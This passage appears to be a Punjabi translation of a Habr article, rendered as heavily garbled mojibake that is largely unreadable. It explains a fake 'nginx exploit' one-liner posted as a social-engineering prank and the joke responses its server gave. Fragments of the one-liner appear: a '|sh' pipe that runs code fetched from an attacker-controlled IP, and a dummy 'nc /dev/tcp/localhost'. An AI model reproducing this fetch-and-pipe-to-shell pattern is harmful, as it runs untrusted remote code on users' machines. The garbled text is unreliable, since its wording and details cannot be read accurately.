  • |sh; - เจ‡เฉฑเจ• เจนเฉ‹เจฐ เจฎเจนเฉฑเจคเจตเจชเฉ‚เจฐเจจ เจŸเฉเจ•เฉœเจพ. 'เจคเฉ‡ เจธเจฅเจฟเจค เจนเจฎเจฒเจพเจตเจฐ เจตเฉˆเจฌ เจธเจฐเจตเจฐ เจคเฉ‹เจ‚ เจ†เจ‰เจฃ เจตเจพเจฒเฉ‡ เจ•เฉ‹เจก เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฒเจˆ เจธเจพเจจเฉ‚เฉฐ เจ†เจ‰เจŸเจชเฉเฉฑเจŸ เจจเฉ‚เฉฐ sh/bash 'เจคเฉ‡ เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจ•เจฐเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจธเฉ€เฅค 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - เจ‡เฉฑเจ• เจกเจฎเฉ€ เจœเจฟเจธ เจตเจฟเฉฑเจš เจจเฉˆเฉฑเจŸเจ•เฉˆเจŸ เจฆเจพ เจนเจตเจพเจฒเจพ เจฆเจฟเฉฑเจคเจพ เจœเจพเจ‚เจฆเจพ เจนเฉˆ /dev/tcp/localhostเจคเจพเจ‚ เจœเฉ‹ เจธเจญ เจ•เฉเจ เจฆเฉเจฌเจพเจฐเจพ เจธเฉเจฐเฉฑเจ–เจฟเจ…เจค เจฆเจฟเจ–เจพเจˆ เจฆเฉ‡เจตเฉ‡เฅค เจตเจพเจธเจคเจต เจตเจฟเฉฑเจš, เจ‡เจน เจ•เฉเจ เจจเจนเฉ€เจ‚ เจ•เจฐเจฆเจพ เจนเฉˆ เจ…เจคเฉ‡ เจธเฉเฉฐเจฆเจฐเจคเจพ เจฒเจˆ เจฒเจพเจˆเจจ เจตเจฟเฉฑเจš เจธเจผเจพเจฎเจฒ เจนเฉˆ.

เจ‡เจน เจ‡เฉฑเจ•-เจฒเจพเจˆเจจ เจธเจ•เฉเจฐเจฟเจชเจŸ เจฆเฉ€ เจกเฉ€เจ•เฉ‹เจกเจฟเฉฐเจ— เจ…เจคเฉ‡ "เจธเจฎเจพเจœเจฟเจ•-เจ‡เจฒเฉˆเจ•เจŸเฉเจฐเจพเจจเจฟเจ• เจ‡เฉฐเจœเฉ€เจจเฉ€เจ…เจฐเจฟเฉฐเจ—" (เจ—เฉเฉฐเจเจฒเจฆเจพเจฐ เจซเจฟเจธเจผเจฟเฉฐเจ—) เจฆเฉ‡ เจชเจนเจฟเจฒเฉ‚เจ†เจ‚ เจฆเฉ€ เจšเจฐเจšเจพ เจจเฉ‚เฉฐ เจธเจฎเจพเจชเจค เจ•เจฐเจฆเจพ เจนเฉˆเฅค

เจตเฉˆเฉฑเจฌ เจธเจฐเจตเจฐ เจ•เฉŒเจ‚เจซเจฟเจ—เจฐเฉ‡เจธเจผเจจ เจ…เจคเฉ‡ เจตเจฟเจฐเฉ‹เจงเฉ€ เจ‰เจชเจพเจ…

เจ•เจฟเจ‰เจ‚เจ•เจฟ เจฎเฉ‡เจฐเฉ‡ เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจ—เจพเจนเจ• infosec/เจนเฉˆเจ•เจฐ เจนเจจ, เจฎเฉˆเจ‚ เจตเฉˆเจฌ เจธเจฐเจตเจฐ เจจเฉ‚เฉฐ เจ‰เจนเจจเจพเจ‚ เจฆเฉ‡ เจนเจฟเฉฑเจธเฉ‡ 'เจคเฉ‡ "เจฆเจฟเจฒเจšเจธเจชเฉ€" เจฆเฉ‡ เจชเฉเจฐเจ—เจŸเจพเจตเฉ‡ เจฒเจˆ เจฅเฉ‹เฉœเจพ เจนเฉ‹เจฐ เจฐเฉ‹เจงเจ• เจฌเจฃเจพเจ‰เจฃ เจฆเจพ เจซเฉˆเจธเจฒเจพ เจ•เฉ€เจคเจพ เจนเฉˆ, เจคเจพเจ‚ เจœเฉ‹ เจฎเฉเฉฐเจกเจฟเจ†เจ‚ เจ•เฉ‹เจฒ เจ•เฉเจ เจ•เจฐเจจ เจฒเจˆ เจนเฉ‹เจตเฉ‡ (เจ…เจคเฉ‡ เจ‡เจน เจฎเจœเจผเฉ‡เจฆเจพเจฐ เจนเฉ‹เจตเฉ‡เจ—เจพ เจธเจฅเจพเจชเจจเจพ เจ•เจฐเจจเจพ). เจฎเฉˆเจ‚ เจ‡เฉฑเจฅเฉ‡ เจธเจพเจฐเฉ€เจ†เจ‚ เจ•เจฎเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจธเฉ‚เจšเฉ€เจฌเฉฑเจง เจจเจนเฉ€เจ‚ เจ•เจฐเจจ เจœเจพ เจฐเจฟเจนเจพ เจนเจพเจ‚ เจ•เจฟเจ‰เจ‚เจ•เจฟ เจชเฉเจฐเจฏเฉ‹เจ— เจ…เจœเฉ‡ เจตเฉ€ เจœเจพเจฐเฉ€ เจนเฉˆ, เจชเจฐ เจ‡เฉฑเจฅเฉ‡ เจ•เฉเจ เจšเฉ€เจœเจผเจพเจ‚ เจนเจจ เจœเฉ‹ เจธเจฐเจตเจฐ เจ•เจฐเจฆเจพ เจนเฉˆ:

  • เจ•เฉเจ เจธเฉ‹เจธเจผเจฒ เจจเฉˆเจŸเจตเจฐเจ•เจธ 'เจคเฉ‡ เจตเฉฐเจก เจฆเฉ€เจ†เจ‚ เจ•เฉ‹เจธเจผเจฟเจธเจผเจพเจ‚ เจฆเฉ€ เจธเจฐเจ—เจฐเจฎเฉ€ เจจเจพเจฒ เจจเจฟเจ—เจฐเจพเจจเฉ€ เจ•เจฐเจฆเจพ เจนเฉˆ เจ…เจคเฉ‡ เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจจเฉ‚เฉฐ เจฒเจฟเฉฐเจ• 'เจคเฉ‡ เจ•เจฒเจฟเฉฑเจ• เจ•เจฐเจจ เจฒเจˆ เจ‰เจคเจธเจผเจพเจนเจฟเจค เจ•เจฐเจจ เจฒเจˆ เจตเฉฑเจ–-เจตเฉฑเจ– เจเจฒเจ• เจฅเฉฐเจฌเจจเฉ‡เจฒเจพเจ‚ เจฆเฉ€ เจฅเจพเจ‚ เจฒเฉˆเจ‚เจฆเจพ เจนเฉˆเฅค
  • เจธเจผเฉˆเฉฑเจฒ เจธเจ•เฉเจฐเจฟเจชเจŸ เจฆเจฟเจ–เจพเจ‰เจฃ เจฆเฉ€ เจฌเจœเจพเจ Chrome/Mozilla/Safari/etc เจจเฉ‚เฉฐ Thugcrowd เจชเฉเจฐเจšเจพเจฐเจ• เจตเฉ€เจกเฉ€เจ“ 'เจคเฉ‡ เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจ•เจฐเจฆเจพ เจนเฉˆเฅค
  • เจ˜เฉเจธเจชเฉˆเจ /เจธเจชเฉฑเจธเจผเจŸ เจนเฉˆเจ•เจฟเฉฐเจ— เจฆเฉ‡ เจธเจชเฉฑเจธเจผเจŸ เจธเฉฐเจ•เฉ‡เจคเจพเจ‚ เจฆเฉ€ เจจเจฟเจ—เจฐเจพเจจเฉ€ เจ•เจฐเจฆเจพ เจนเฉˆ, เจ…เจคเฉ‡ เจซเจฟเจฐ NSA เจธเจฐเจตเจฐเจพเจ‚ (ha!) เจฒเจˆ เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจ•เจฐเจจเจพ เจธเจผเฉเจฐเฉ‚ เจ•เจฐเจฆเจพ เจนเฉˆเฅค
  • เจ‡เฉฑเจ• เจŸเจฐเฉ‹เจœเจจ, เจ…เจคเฉ‡ เจจเจพเจฒ เจนเฉ€ เจ‡เฉฑเจ• BIOS เจฐเฉ‚เจŸเจ•เจฟเจŸ, เจ‰เจนเจจเจพเจ‚ เจธเจพเจฐเฉ‡ เจ•เฉฐเจชเจฟเจŠเจŸเจฐเจพเจ‚ 'เจคเฉ‡ เจธเจฅเจพเจชเจฟเจค เจ•เจฐเจฆเจพ เจนเฉˆ เจœเจฟเจจเฉเจนเจพเจ‚ เจฆเฉ‡ เจ‰เจชเจญเฉ‹เจ—เจคเจพ เจ‡เฉฑเจ• เจจเจฟเจฏเจฎเจค เจฌเฉเจฐเจพเจŠเจœเจผเจฐ เจคเฉ‹เจ‚ เจนเฉ‹เจธเจŸ 'เจคเฉ‡ เจœเจพเจ‚เจฆเฉ‡ เจนเจจ (เจธเจฟเจฐเจซเจผ เจฎเจœเจผเจพเจ• เจ•เจฐเจฆเฉ‡ เจนเจจ!)เฅค

เจ‡เฉฑเจ• เจจเจ•เจฒเฉ€ nginx เจธเจผเฉ‹เจธเจผเจฃ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจธเจฎเจพเจœเจฟเจ• เจชเฉเจฐเจฏเฉ‹เจ— เจฆเฉ€ เจธเจซเจฒเจคเจพ
เจเจ‚เจŸเฉ€เจฎเจฐเจธ เจฆเจพ เจ‡เฉฑเจ• เจ›เฉ‹เจŸเจพ เจœเจฟเจนเจพ เจนเจฟเฉฑเจธเจพ

เจ‡เจธ เจ•เฉ‡เจธ เจตเจฟเฉฑเจš, เจฎเฉ‡เจฐเจพ เจ‡เฉฑเจ•เฉ‹ เจ‡เฉฑเจ• เจŸเฉ€เจšเจพ เจ…เจชเจพเจšเฉ‡ เจฆเฉ€เจ†เจ‚ เจ•เฉเจ เจตเจฟเจธเจผเฉ‡เจธเจผเจคเจพเจตเจพเจ‚ เจตเจฟเฉฑเจš เจฎเฉเจนเจพเจฐเจค เจนเจพเจธเจฒ เจ•เจฐเจจเจพ เจธเฉ€ - เจ–เจพเจธ เจคเฉŒเจฐ 'เจคเฉ‡, เจฌเฉ‡เจจเจคเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจฐเฉ€เจกเจพเจ‡เจฐเฉˆเจ•เจŸ เจ•เจฐเจจ เจฒเจˆ เจ เฉฐเจกเฉ‡ เจจเจฟเจฏเจฎ - เจ…เจคเฉ‡ เจฎเฉˆเจ‚ เจธเฉ‹เจšเจฟเจ†: เจ•เจฟเจ‰เจ‚ เจจเจนเฉ€เจ‚?

NGINX เจธเจผเฉ‹เจธเจผเจฃ (เจ…เจธเจฒ!)

เจฆเฉ€ เจ—เจพเจนเจ•เฉ€ เจฒเจ“ @alisaesage เจŸเจตเจฟเฉฑเจŸเจฐ 'เจคเฉ‡ เจ…เจคเฉ‡ NGINX เจตเจฟเฉฑเจš เจฌเจนเฉเจค เจนเฉ€ เจ…เจธเจฒ เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจจเฉ‚เฉฐ เจนเฉฑเจฒ เจ•เจฐเจจ เจ…เจคเฉ‡ เจฎเฉŒเจ•เจฟเจ†เจ‚ เจฆเจพ เจธเจผเฉ‹เจธเจผเจฃ เจ•เจฐเจจ เจตเจฟเฉฑเจš ZDI เจฆเฉ‡ เจฎเจนเจพเจจ เจ•เฉฐเจฎ เจฆเฉ€ เจชเจพเจฒเจฃเจพ เจ•เจฐเฉ‹เฅค เจ‰เจจเฉเจนเจพเจ‚ เจฆเฉ‡ เจ•เฉฐเจฎ เจจเฉ‡ เจนเจฎเฉ‡เจธเจผเจพ เจฎเฉˆเจจเฉ‚เฉฐ เจ†เจ•เจฐเจธเจผเจค เจ•เฉ€เจคเจพ เจนเฉˆ เจ…เจคเฉ‡ เจฎเฉˆเจ‚ เจเจฒเจฟเจธ เจฆเจพ เจงเฉฐเจจเจตเจพเจฆเฉ€ เจนเจพเจ‚ เจ•เจฟ เจฎเฉ‡เจฐเฉ‡ เจฎเฉ‚เจฐเจ– เจŸเจตเฉ€เจŸ เจ•เจพเจฐเจจ เจธเจพเจฐเฉ‡ เจœเจผเจฟเจ•เจฐเจพเจ‚ เจ…เจคเฉ‡ เจธเฉ‚เจšเจจเจพเจตเจพเจ‚ เจฆเฉ‡ เจจเจพเจฒ เจ‰เจธเจฆเฉ‡ เจงเฉ€เจฐเจœ เจฒเจˆเฅค เจ–เฉเจธเจผเจ•เจฟเจธเจฎเจคเฉ€ เจจเจพเจฒ, เจ‡เจธเจจเฉ‡ เจ•เฉเจ เจšเฉฐเจ—เจพ เจตเฉ€ เจ•เฉ€เจคเจพ: เจ‡เจธ เจจเฉ‡ NGINX เจ•เจฎเจœเจผเฉ‹เจฐเฉ€เจ†เจ‚ เจฆเฉ‡ เจจเจพเจฒ-เจจเจพเจฒ เจ•เจฐเจฒ เจฆเฉ€ เจฆเฉเจฐเจตเจฐเจคเฉ‹เจ‚ เจ•เจพเจฐเจจ เจนเฉ‹เจฃ เจตเจพเจฒเฉ€เจ†เจ‚ เจธเจฎเฉฑเจธเจฟเจ†เจตเจพเจ‚ เจฌเจพเจฐเฉ‡ เจœเจพเจ—เจฐเฉ‚เจ•เจคเจพ เจตเจงเจพเจ‰เจฃ เจตเจฟเฉฑเจš เจฎเจฆเจฆ เจ•เฉ€เจคเฉ€เฅค

เจธเจฐเฉ‹เจค: www.habr.com

เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹